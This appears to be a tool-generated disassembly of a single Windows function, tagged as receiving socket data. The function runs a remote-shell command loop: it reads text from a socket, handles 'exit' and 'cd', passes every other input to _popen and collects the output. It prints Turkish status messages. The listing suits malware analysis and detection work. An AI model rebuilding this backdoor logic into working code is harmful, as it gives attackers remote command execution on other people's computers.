Function at 0x401550
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
push rbx
sub rsp, 0x448
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3e0], rcx
lea rax, [rbp - 0x60]
mov r9d, 0
mov r8d, 0x400
mov rdx, rax
mov rcx, qword [rbp + 0x3e0]
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x3bc], eax
cmp dword [rbp + 0x3bc], 0xffffffff
jne 0x4015c1
lea rdx, str.Veri_alinamad_
mov rcx, qword [0x004a5d60]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x401784
cmp dword [rbp + 0x3bc], 0
jne 0x4015f1
lea rdx, str.Sunucu_balants_kapand.
mov rcx, qword [0x004a5d80]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x401784
mov eax, dword [rbp + 0x3bc]
cdqe
mov byte [rbp + rax - 0x60], 0
lea rax, [rbp - 0x60]
mov rdx, rax
mov rcx, qword [0x004a5d80]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov qword [rbp + 0x3b0], 0
lea rax, [rbp - 0x60]
mov qword [rbp + 0x3a8], rax
mov rax, qword [rbp + 0x3a8]
lea rdx, str.exit
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x40164d
mov byte [0x0049e012], 0
jmp 0x40177f
mov rax, qword [rbp + 0x3a8]
mov r8d, 3
lea rdx, [0x004a1044]
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x4016d4
mov rax, qword [rbp + 0x3a8]
add rax, 3
mov rcx, rax
call sym.chdir
test eax, eax
setne al
test al, al
je 0x40177e
lea rdx, str.Dizin_deitirilemedi:
mov rcx, qword [0x004a5d60]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.msvcrt.dll__errno]
call rax
mov eax, dword [rax]
mov ecx, eax
call sym.strerror
mov rdx, rax
mov rcx, rbx
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x40177e
mov rax, qword [rbp + 0x3a8]
lea rdx, [0x004a1062]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x3b0], rax
cmp qword [rbp + 0x3b0], 0
jne 0x401723
lea rdx, str.Komut_altrlamad_
mov rcx, qword [0x004a5d60]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x40177f
mov rdx, qword [rbp + 0x3b0]
lea rax, [rbp - 0x60]
mov r8, rdx
mov edx, 0x400
mov rcx, rax
call sym.fgets
test rax, rax
setne al
test al, al
je 0x401568
lea rax, [rbp - 0x60]
mov rdx, rax
mov rcx, qword [0x004a5d80]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x60]
mov rdx, rax
lea rcx, [0x004ca840]
call sym.strcpy
mov dword [0x004cadd8], 0x7ac1
jmp 0x401723
nop
jmp 0x401568
nop
add rsp, 0x448
pop rbx
pop rbp
ret